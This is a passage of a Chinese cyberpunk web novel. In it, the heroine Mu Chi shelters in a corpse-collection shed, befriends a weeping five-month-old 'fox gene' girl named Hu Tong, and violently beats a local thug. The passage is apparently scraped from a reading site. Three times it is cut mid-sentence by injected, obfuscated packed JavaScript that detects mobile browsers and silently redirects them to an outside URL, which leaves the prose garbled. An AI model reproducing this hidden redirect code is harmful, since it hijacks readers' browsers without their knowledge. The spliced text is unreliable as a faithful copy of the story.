穆炽又走了段路,拐到另一条更宽阔的路上,终于发现这座城市并不是没有商店,只是不在地面。 那些广告的招牌都在至少一百米以上的位置亮着。 穆炽:“……” 所以,她现在要考虑的问题是该怎么去一百米以上的地方? 如果她不能像蜘蛛或壁虎一样沿着墙壁就爬上去,那么,还是得找个人问。 问题又绕回来了——人在哪。 哪怕她想当法外狂徒,找个随便谁来威胁下,竟然都做不到。 手里有凶器,但苦于无用武之地。 走了这么长时间,她就没在地面上见到第二个生物。 穆炽甚至有点想回去找天兰问几个问题——确切地说,问点生活常识。 但她的自尊心阻止了这种有点丢脸的行为,打算先找个避雨的地方。 一路走过来都没见到树,自然也不会有公园或者公共厕所之类的福利设施。 这场人造雨完全没有停的迹象,再继续淋下去,可能会出现失温现象。 穆炽沉吟片刻,没有继续尝试朝高楼密集的地方靠近。 而是换了个方向,特意朝这片由高楼组成的森林边缘走去。 这次,她很快就看见地面出现了垃圾,从零星几样到逐渐变多。 道路也从平整变得坑坑洼洼。 虽然还是没找到商店,但至少这里出现了人类活动的痕迹。 再过了会,一条三岔口上伫立着一间穆炽记忆里公交车站大小的棚屋。 它的其中两面与顶部用铁皮挡住,另外两面完全敞开。 天花板还挂着盏昏黄的小破灯。 里面摆着条表面被摩擦到光滑的金属板凳,拼接的材料使它的光泽与颜色并不统一,看起来也有点歪。 棚屋附近没有建筑,它本身也没任何标识。 就这么空荡荡的立在这里,不知是做什么用的。 但对穆炽来说,它的出现堪称救急。 先不说可以避雨,看着板凳表面受到长期磨损的状态,她只要在那里守株待兔,一定能遇到除她以外的活人。 如果到时候遇到的是想抢劫她的,她就更不用跟对方客气。 穆炽在棚屋下稍微拧了拧衣服,让它不再滴水后,在板凳坐下。 歪歪的,怎么坐都不舒服,索性改成躺下。 一只手握紧匕首,藏在视线的死角处。 穆炽闭着眼,假装她已经熟睡。 这种连囚犯都会被当成真人秀演员、死后还要进行二次贩卖的资本至上世界,繁华高楼的背后果然有贫民窟。 穆炽猜测自己再往前走一段距离,大概能找到更多像眼下这样的破棚屋。 但在对那里完全不了解的情况下,一个人贸然进入太过危险。 穆炽决定先尝试抓落单的。 她等了很长时间。 不停歇的雨珠滴滴答答敲在铁皮上,奏出令人感到舒适的白噪音。 涌上来的倦意比棚屋外的雨势更猛烈,险些让穆炽真的睡过去。 直到这时,她才想起自己自从在这个世界醒来,到目前为止还没有睡过觉。 她不确定那个真人秀节目里的时间是否一比一复刻外界,也不确定这个世界的一天是否有24小时。 但无论怎样,长时间且高强度的紧张与警戒,以及那些吸入体内的麻醉剂,都令此刻的穆炽困得要命。 就在这时,远处传来了一点动静。 有人来了。 穆炽顿时警觉,不着痕迹地深呼吸了几次,让自己保持清醒。 “呜呜……呜……呜呜呜……” 随着脚步声的靠近,一同传入她耳朵里的还有断断续续的哭声。 哪怕对方在哭,也能听出她的声线很清脆,偏甜,是位年轻的女性。 抽抽搭搭的哭声从远处一直来到穆炽待着的棚屋里。 真的一直在哭,鼻音很重,都快喘不上气了。 对方甚至没有在意躺着的穆炽占据了大半张板凳,直接坐在她旁边。 可能是以为她睡着了,就没有打扰。 但听这动静,实在是哭得很惨。 甚至是在这么黑的夜晚,一个人跑出来哭。 穆炽犹豫半晌,索性就这么继续闭着眼,假装她真的睡着了,也好让对方能尽情哭一通,宣泄情绪。 就这样,穆炽躺在长板凳的这头,另一人坐在长板凳的那头。 一个在假睡,一个在真哭。 “呜呜呜……” 还在哭。 “呜……呃呜……” 哭得打嗝。 “呜…呜……” 哭成火车鸣笛。 躺在边上的穆炽:“…………” 她实在躺不下去了,默默坐起身。 对方似乎被吓了大跳,下一声哭泣被也被噎在喉咙里,瞪着红通通的肿泡眼朝她看过来。 确实是一个年轻的女性,二十来岁,长相很可爱。 即使哭成这样,也能看出她的眼型非常漂亮,虹膜则是通透的琥珀色。 会令穆炽联想到曾经在野外考察时,见过的一只狐狸。 “原、原来你还活着啊。” 她哭得上气不接下气的,可怜巴巴跟穆炽道歉。 穆炽:“……我看起来很像死了吗。” 对方立刻摇头:“这里……呜呜,这里是尸体回收点,你躺在这,我以为是被谁扔过来的……” “只是躲个雨……” 穆炽想起天兰提过她是被卖到监狱的,“只有尸体放在这,不会被人拿去卖钱?” “看品相的,也不是所有尸体都值钱。” 对方一边呜呜呜的掉眼泪,一边还认真跟穆炽解。 “有些死人还背着贷款和欠债,如果谁卖给回收站,贷款和欠债就自动转移到那人身上。所以,呜呜,大家一般也不敢随便卖不认识的尸体,会有清洁工扔到公共回收点。” 很地狱的回答,但穆炽甚至不算感到意外。 毕竟,她现在也很想知道究竟是谁把她卖到监狱——好找那个人算账。 但天兰说她只负责接收移交过来的囚犯,没有更上层的相关资料。 只能想个办法,看看能不能从这座城市的官方记录那边找。 穆炽晃了下神,发现刚才那段话好像触发到了对方的心理创伤,使她又开始抽泣地哭起来,呜呜呜的,越来越大声。 “那个,你别太伤心,事情总会过去的。” 穆炽翻遍记忆没这方面的经验,只能干巴巴安慰她。 但听到穆炽这么说,对方嗷呜一下,哭得更响亮了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16705091|189163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外面在下雨,里面也在下雨。 “事情确实已经过去了,我妈妈,呜呜,她一周前死了,呜呜呜呜……” 虽然穆炽所说的“过去”,并不是对方理解的那个“过去”。 但这句话令穆炽下意识发出个短促的“啊”,慢慢点头。 “确实得哭一段时间。” 她坐在板凳的这端,背靠着薄薄的金属板,就像在安静陪伴着一位素不相识的朋友。 妹子哭累了,但又啪嗒啪嗒掉了好一会儿眼泪后,才哽咽着问穆炽。 “你呢,你有妈妈吗?” 穆炽:“……” 声音很甜,只是这问法属实有点不太礼貌。 “有,很早就去世了。” 为了安慰对方,穆炽还是开口,“你看,我是个孤儿,现在也活得好好的。” “那你妈妈一定也很爱你,”妹子眼泪汪汪看着她,“我叫蝴曈,你呢?” 她似乎没有什么戒心,开始跟穆炽聊天。 穆炽思考了下,没用自己的真名,“禾火,禾苗的禾,火焰的火。” 蝴曈点头,也学着穆炽介绍,“蝴蝶的蝴,眼曈的曈,但其实是狐狸基因共生者。你呢?” 难怪蝴曈的眼型和样貌,总让她觉得像狐狸。 原来真的是一只狐狸。 但是,动物基因共生者……? “我也不知道自己共生了什么。”穆炽反问,“这种跟其他物种基因共生的人,很多?” “呜?你在说什么呀?大家都是基因共生者,只是有的多,有的少。” 蝴曈吸吸鼻子,朝穆炽困惑的眨了眨眼睛。 但下一刻,她就露出有点恍然、又带着点同情的的表情,表情认真的开始反过来安慰她。 “肯定只是因为你携带的基因信息量太少了,用低等仪器测不出来。别担心,你一定是某种动物的基因共生者。” 穆炽:“…………” 谢谢,不是很需要。 她现在知道为什么在“村落”里见到的那些人,都很难分辨人种特征了。 尤其是被她杀死的那个人,穆炽还记得他嘴里的上下犬齿异常突出——估计是某种食肉的哺乳动物。 按照蝴曈的说法,这世上的所有人都携带着动物基因。 ……而她,如果在失去记忆的那段时间里没有对自己做改造,大概是唯一的纯种人类。 这算什么,赛级人类? 穆炽有点哑然。 蝴曈还在绞尽脑汁,想要安慰她。 “你也好幸运,真的,你是我遇到的第三个有妈妈的人。” ……这句话变得很不对劲起来了! 穆炽沉默了会,“你遇见过几个人?” “嗯,至少有几百,唔,几千个应该也有……” 蝴曈掰着指头数了数,发现自己算不出确切的数字后,立刻摇头放弃。 “不过,大部分人我都不认识。但在我住的地方,我妈妈说除了我以外,就只有蒙冬是她妈妈生的。” “…………” 好极了,这地方可能还有个类似生育工厂的地方,专门负责培育新生儿。 穆炽揉了揉额角,让自己的大脑保持清醒,顺便从蝴曈这里得到尽可能多的、关于这个世界的信息。 “其余人呢?为什么不生?” “要交很多钱呢。” 蝴曈的声音萎靡下去,“我妈妈贷款交了一大笔自然出生税,才把我生下来的。但她交不起婴孩税、儿童税还有青少年税了,只能送我去打催熟剂。” “…………” 这次,终于轮到穆炽睁大眼睛,吃惊看向她。 “所以……你现在多大?不对,活了多久?” 蝴曈想了想,拍了下手,很骄傲的回答。 “已经五个月了!” 8. 九乐城(八) 五个月。 还是一只狐狸宝宝。 穆炽还向她确认了,这个世界对时间的称呼同样是【年月日时分秒】,在长度的定义上没差别。 真的只有五个月大。 而从外貌看,蝴曈大约在20岁上下,看起来很有活力,讲话也是条理清楚。 可能对陌生人有点没戒心。 但放在穆炽记忆里的那个世界,她现在才是个眼神清澈的大学生,没戒心很正常。 但是,蝴曈说她刚生下来就被催熟,再统一送去接受七天的常识教育后,就算她成功毕业,可以开始工作了。 穆炽开始对这个世界感到某种莫大的荒谬感。 “上七天学就毕业,会教你们识字吗?”她问。 “只认识几个常见的。”蝴曈眨眼睛,“剩下的,我们也用不上。” 用不上的东西,教会了也只是浪费成本。 穆炽听出了言外之意。 她一时之间不知道该说什么。 蝴曈还要好奇问穆炽,“你呢,你活了多久啦?” 在这个世界里,光看脸并不能准确判断出对方的真实年龄。 “……”穆炽没有直接回答,“你们一般能活多久?” 蝴曈摇头,“不知道哦,每个人的情况不一样,有活了几个月就死掉的,也有活了3、40年后,被无害化回收处理掉的。” 穆炽扯了下嘴角。 了不起,这世界甚至不给人退休的机会。 她甚至能猜到那些统治阶层在想什么。 怀孕、生产、哺乳、发育,成年——这过程多慢啊,多耽误时间! 自然生育与成长?那是有钱人才有资格享受的待遇。 生育工厂直接批量培育,批量生产,批量催熟。 小孩落地就能变成大人干活,干到没价值了直接回收。 看看,这才是真正的降本增效。 “不过,有些动物基因好像能让人活很久。” 蝴曈还在努力思考穆炽的上一个问题。 “但听说,每个人能共生的基因在出生前就已经定好了……我是妈妈生的,遗传型基因共生者……不太懂这些……呜呜呜,妈妈……” 说着说着,想起妈妈已经离开她的蝴曈声音越来越哽咽,眼泪又开啪嗒啪嗒始往下掉。 穆炽:“。” 蝴曈只用了一晚上,就哭掉了她二十年的眼泪储量。 但人家还是五个月大的狐狸宝宝,就算是哭包,也情有可原。 何况,蝴曈的妈妈肯定很爱她,蝴曈才会这么依恋她,在失去后又如此悲伤。 穆炽将匕首又往蝴曈看不见的视线死角藏了藏,伸出另一只手去拍这个哭包小狐狸。 动作有点生涩。 “好了,别哭。” 不说还好,穆炽这么一说,蝴曈朝她怀里一扑,又呜呜呜的嚎了好久。 穆炽望着棚屋外的雨点,默默等她哭完。 又过去好长时间,蝴曈才可怜巴巴从她怀里抬起头。 “谢谢你,都没有赶我走。” 穆炽:“嗯?” “我本来是在家里哭的啦,”蝴曈绞着手指,眼泪汪汪,“但邻居刚工作完30个小时回来,嫌我吵到他睡觉,就把我赶出来了。” “我蹲在另一条路哭,又被住在那里的人赶走……” “但更靠外的是安老大的地盘,妈妈平时就交代我绕着走了,我…实在不敢蹲在他家的门口哭……” “就只好一边哭一边走,然后来了这里。” 穆炽皱了皱眉毛,捕捉到关键信息。 “所以,这里有很多人住在以街道为划分的区域里,还有类似【老大】的人在管理?” “嗯,我妈妈说是因为安老大实在太丑啦,上城区的人看一眼就不要他;然后呢,平时行动又慢,外城区的那些人也不高兴选他。”蝴曈说,“所以,就只能靠威胁我们过日子了。” 听这语气,蝴曈还有点可怜那个安老大。 穆炽抬眼瞥过去,看着蝴曈脸上完全没有恐惧或害怕之类的情绪,只是咬着自己手指,有点出神。 是没有被安老大威胁过,还是以前有妈妈守护她? 棚屋外的雨一直没有停。 天色也没有丝毫转亮的意思。 蝴曈坐在板凳上,晃了晃腿。 “我要回去啦,再不睡觉就来不及工作了。” “嗯。”穆炽应了声。 但蝴曈说完这句话也没有走,甚至没有起身的意思。 她只是又继续盯着穆炽,哭久了的眼睛红红的。 “以前都有妈妈跟我一起睡觉的。” 蝴曈又强调,但声音又低又软,气势也不足——配上鼻音浓重的哭腔,还有点可怜。 穆炽听出来她的言外之意了,“…………” 她对照顾小孩没什么兴趣啊。 以及,这只哭包小狐狸真的完全没有戒心这种东西吗? 怎么会直接邀请第一次见面的陌生人跟她回家? “我很乖的,这五个月以来没有违反过一次城市管理法令呢!” 蝴曈生怕穆炽拒绝,立刻又急急忙忙补充。 “而且,你没地方去吧?一般人是不会坐在公共回收点的,如果被城市管理员发现有活人敢待在回收点,你就要背上好大一笔负债啦。” 只有无处可去的人,才会冒险躲到这里来避雨。 “不觉得我等雨停就会走?” 穆炽说出这句话时,莫名感觉自己像个越狱的、正找不到藏身处的法外狂徒。 “雨不会停的。” 蝴曈认真回道。 “自从我出生以来,没有见过雨停。妈妈说,九乐城的雨永远也不会停。” 永远也不会停的人造雨景。 这座城市的路边不会有无家可归者,他们承受不住长时间的雨水淋泡,身体会迅速失温,死亡,回收,压榨出最后一分价值。 从生到死,甚至没有见过太阳。 而这一切,只是九乐城的城主认为,【适当的雨能使这座城市看起来更绚丽】。 生活在高楼上层里的人不需要在乎雨落去哪里,他们站在窗前,欣赏到的永远是漂亮的霓虹雨夜。 穆炽没有立刻回应蝴曈的请求。 她在思考自己接下来要怎么做,才能达成预计的目标。 接近这座九乐城的城主,拷问出一些情报后再杀死他——这点是毋庸置疑的。 为此,她必定要前往高楼的上层。 但话又说回来,她对这座城市近乎一无所知。 人口要素、区域构成、武装力量、经济文化……之类种种,可能还不如眼下五个月大的蝴曈知道得多。 以这种状态冲到高楼的上层去,无异于自寻死路。 她不会打没有准备的仗。 穆炽思索了会,问蝴曈:“需要房租吗,多少?” 这是已经同意,但不打算白占便宜的明示。 蝴曈只是没什么戒心,但人不傻,顿时笑得两眼弯弯,开心极了。 “两万四通用币一个月,不过我工作很努力哦,不止可以付得起房租,还完每个月的贷款后还可以买得起甜味的凝缩营养液呢!” 她带着穆炽往回走,举手投足还算克制;但说话的语气上扬,都快变得蹦蹦跳跳的。 穆炽手里的匕首又藏回了衣袖里。 “有甜味的营养液?”她问。 “你真是完全不懂呀,是不是刚生下来没多久?” 蝴曈一点也不嫌弃穆炽什么生活常识都不知道,还体贴的为她找好了理由——虽然穆炽听得哑然,倒也不反驳她。 “听好了哦。”蝴曈竖起手指,认真向穆炽传授这座城市的生存之道。 “食物救济处一般在那个方向,我下次带你去。如果你没有钱买吃的,可以去那里免费领取一人份的凝缩营养液,很难喝,但可以让你活下来。” “如果想要各种好味道的凝缩营养液,就得花钱去售卖窗口排队购买。因为这些都是限量的,你还需要早点过去抢呢。” 穆炽:“正常的食物呢?” 底层都只能靠营养液补充生存所需的营养物质了,资本竟然还搞饥饿营销这套。 蝴曈的表情顿时又变得可怜巴巴的,“买不起,太贵了。”——她咽了咽口水,“听说监狱的伙食特别好,有些人会特意犯罪被执法者抓进去,就为了尝尝米饭的味道。” 穆炽想起她在“村落”待的那天:早餐,干面包和清汤;午餐,稀得不行的红薯粥;晚餐,一碗飘着几片菜叶的米汤。 比起每天只能喝营养液来说,竟然确实能算是不错的伙食。 毕竟,真人秀还需要作秀,生活不需要。 蝴曈与穆炽没有走很长时间,就来到了一片房屋挤挤挨挨的街道上。 与灯光辉煌而通明的那些高楼不同,这里的房子像用块状 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16705092|189163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的积木搭起来的。 只是每个积木的形状与材料都不一致,有的墙体还严重变形,有的外面生满锈迹,一直在滴滴答答往下漏水。 几根金属棍拼在一起的框架就是楼梯,被几块石头垫着,摇摇欲坠的挂在积木外侧。 站在雨里的穆炽打量了会,觉得就算是这个世界的货币单位再如何通胀,这随时都会垮塌的破房子也不该收两万四的租金。 “你愿意和我住真的太好啦。” 蝴曈一直显得很高兴,走在楼梯上的脚步轻盈又雀跃。 “安老大听说我妈妈死后,还总想来我这里住呢——我拒绝他好几次了,妈妈以前一直叮嘱我离他远点。” 穆炽正跟在她身后,小心翼翼地上楼。 生怕一个用力就塌了。 她还没来得及接话,蝴曈就先“咦”出了声,“安老大,你怎么在这?” 她们已经离开楼梯,来到了铁皮从积木顶部横生出去的地方,勉强可以成为屋檐下。 蝴曈看见自家门前竟然站着刚刚才和穆炽聊起的安老大,而后者立刻挤出一个笑脸。 只是,他穿着一件打满补丁的大码上衣,不知道沾染到什么脏东西,显得灰扑扑、油腻腻的。 又不知混了什么基因,使他咧嘴一笑,就露出了参差不齐、满嘴泥黄的尖牙。 凹凸不平的额头上还鼓着个包。 穆炽只看了一眼,就得出定论。 确实很丑。 “听巴说瞳瞳在哭,想来安慰你。” 他不停搓着手,让自己的语气听起来和善又亲近。 “我知道瞳瞳想妈妈了,以前也总是躲在妈妈后面,还喜欢哭——但妈妈已经死去一周了,对不对?你也不好以后一个人过日子,被其他人欺负吧?再说,这房子一个人住也浪费……” “我说过好几次了,你不要靠过来。” 安老大刚抬脚朝蝴曈走一步,就被后者抬手制止。 蝴曈不高兴的说,“而且,我已经找到室友了,你别再问我了。” 已经被拒绝好多次的安老大心底不爽,拿斜眼去瞥跟在蝴曈身后的那个女人。 身材高挑,脸长得不错,穿的衣服也可以,就是太瘦了点。 就是没什么表情,朝他看过来的目光也冷冰冰的,总感觉渗人得慌。 不过,瘦点好啊,这种又瘦、长相还不错的女人,通常都不会混战斗类的生物基因,纯属让上层人观赏用的漂亮玩意。 安老大心念电转间便衡量完双方实力,立刻放心地发泄起自己屡次被拒的怒意。 不再客气的他当即变脸,说话声音都跟着粗哑。 “****,我好声好气跟你说过几次,你***不答应就算了,竟敢不经过我点头就带人来这住!” 在屡次没能得手的极其败坏中,安老大的那张丑脸更加狰狞而丑陋,一伸手就要来抓蝴曈的手腕! “我非要在这里教训你一下,你才知道什么叫服从……” 穆炽忽然开口:“报警会有执法者来管吗。” 蝴曈下意识回答:“不……” ——砰! 安老大还没反应过来发生了什么,一只更加有力的手已然后发先至,扣住他的脑袋,并在穆炽的下一个旋身蓄力中,狠狠砸向墙壁! “你……” 这次,他的破口大骂甚至没能起个开头,穆炽面无表情,只用右手扣着那颗脑袋,抬起,再次沉而重地砸向墙壁。 大片的血溅在墙面,整片房子似乎都跟着抖动。 安老大挣扎着,头晕目眩,还想要开口放狠话,穆炽连眉头都没有动一下,只是第三次抬起手里那颗脑袋,砸向墙壁。 蝴曈捂住嘴,整个人没有动,只有眼睛睁得大大的,紧张兮兮地四处张望,似乎在担心有哪个邻居跑出来围观。 她多虑了,在这种真正见血的场面,之前还嫌她哭声吵的邻居此刻安静如鸡,一声也不敢吭。 穆炽又砸了两下,才松开已经血流满脸、鼻梁歪斜的安老大。 地上多了好几颗牙,混着腥臭的血。 至于安老大本人,已经昏沉沉趴在地上,张着嘴,却一个字也不敢再说。 穆炽在他身边半蹲下,脸上的表情始终没有任何波澜。 她也没有低头去看安老大,仅让眼眸朝斜下方偏了些,用一种极轻视对方的神态,平淡开口。 “现在,你知道该用什么姿势跟我说话了吗。” 9. 九乐城(九) 安老大满嘴是血,口齿不清,吭哧吭哧了会,才说出话。 他始终趴在地面,既不敢起身,也不敢抬头看穆炽。 “饶、饶了我吧,我再也不对曈瞳……” 砰! 这次,他的脑袋没有砸在那面已经出现些许凹坑的墙壁上。 而是整个金属板铺成的走廊都跟着颤动。 “你在喊谁?” 穆炽先动手,后开口。 声音冷淡,直接将安老大吓得浑身一哆嗦。 “蝴曈,蝴曈,我再也不敢靠近蝴曈了。” 他口齿不清地求饶,就差再给穆炽嗑几个。 也不知道是混了什么基因,挺皮糙肉厚的,被穆炽压着脑袋暴扣这么多次,竟然还没有昏死过去。 盯着这个安老大,穆炽敛目琢磨了会,在认真思考灭口的可能性。 她都这样殴打对方了,被记恨上的可能性很大。 别看现在一副唯唯诺诺的模样,保不齐这家伙的心底正在咒骂“等老子活下来后找人弄死你”。 先一步弄死他呢?还是不弄死呢? 这是个问题。 穆炽的记忆以及相关法制教育告诉她,除去合理的正当防卫外,杀人始终是一项违法犯罪的行为。 她刚才也听蝴曈说了,这座城市有管理法令,还有执法者。 在穆炽心底,基本等同于记忆里的警察。 杀人了,警察会不会来管?会。 她还不打算刚出监狱,又被抓进去。 穆炽正盯着安老大沉思,就像在盯着一块猪肉,思考从哪里下刀比较利落。 安老大瑟瑟发抖,一动也不敢动。 邻居也没有敢出来看热闹的。 在淅沥昏暗的雨夜,这个歪歪扭扭的、基本毫无隔音可言的金属积木,好像被孩童随手遗弃的玩具,丢在垃圾堆里缓慢的生锈、腐烂。 蝴曈先是为没有人出来而松了口气,但很快,她发现穆炽的目光在安老大脖颈处徘徊太久。 似乎已经在考虑怎么下刀才能保证出血量最小,方便清洗。 她惊了下,贴在穆炽耳边悄咪咪开口。 “不可以杀他,他背了好多债的。如果你杀死他,他的债务就要转移到你身上了。” 杀人夺债,亏本买卖谁干。 穆炽沉默:“………没被发现也不行?” “执法者管这个的,他们不在意人死没死,但债必须有人接手。” 蝴曈很紧张。 但不是紧张安老大会不会死掉,而是紧张穆炽身上会不会多出一笔债务。 在没被霓虹灯光笼罩的城市底层,执法者压根不关心每天有谁被杀,他们只在意这笔债会不会变成死账。 一旦有人死了,身上还背着债,他们就会像游鱼出动,想方设法将债转移给任何人。 凶手、亲属、朋友。 甚至是同事、被害者的邻居,乃至凶杀现场附近的居民。 杀不杀人无关紧要,欠债不还才是重罪。 穆炽揉了揉额角。 这个世界总能在不经意的地方刷新她的认知。 也就意味着,只要你有钱到能覆盖对方的债务,就能买下那人的命,没人会追究。 反过来说,由于底层的人身上几乎都背着债,反而互相不敢随便动手。 谁也不想帮别人还债。 要知道,每个月要还的贷款已经够多了,凭空再增加一笔,足以压垮他们。 思考了会,穆炽问蝴曈:“他有小弟或者什么团体之类的吗?” 蝴曈摇头:“没见过。” 也就是说,这家伙的定位等同于村子里的四十岁光棍流浪汉,战斗力不高,纯欺软怕硬。 她起身,踹了安老大一脚。 “这次算我懒得计较,下次再看见你敢碰蝴曈,右手碰剁右手,左手碰剁左手。明白了?” 安老大整个人抖如筛糠,连连点头。 “滚吧。” 她的公民卡里是有些钱,但还不打算花在这种地方。 安老大忙不迭地用双手撑着地面爬起来,踉踉跄跄离开了。 他的动作确实比较迟缓,走路也有点一瘸一拐,像把握不好重心,需要不停地矫正。 像一条走在岸上的鱼。 “快进来快进来。” 这边的蝴曈用一把生锈的小钥匙拧开门锁,开开心心催穆炽。 她看见穆炽出重手教训安老大也没觉得害怕,依然很热情的招呼她快进房间里。 穆炽收回目光,跟着蝴曈走进房里。 从外面看,每个金属积木的体积都不大,但真正进去后,才发现它究竟有多逼仄。 整个面积不过十来个平方,没有窗户,只有一个圆形的通风管道,约莫巴掌大小,嵌在其中一面金属墙的右上角。 房间里一左一右摆着两张窄床,对面靠墙有一张正方形的小桌子与长条形的柜子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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镜子里的她头发确实比记忆里长了些,能勉强扎成一个狼尾造型。 五官也是记忆里的模样,由于体型瘦削许多,整体轮廓更加分明,下颚线明显收紧。 当她没有露出笑意时,整个人便显得冷酷而干练,透着十足的锐利气场。 她还活着,活在一个见鬼的赛博朋克世界。 所有人都携带着某种生物基因,她反而成了一个异类。 还被告知自己以前当过最高人类指挥官,在被背叛前带领人类抵抗末日,开创了新的城市文明。 穆炽弯起嘴角,镜子里的女性便也跟着露出一个微笑。 如果要问她,害怕这个畸形又疯狂的陌生世界,就像害怕曾经每一次野外考察那样吗? ——半点也不。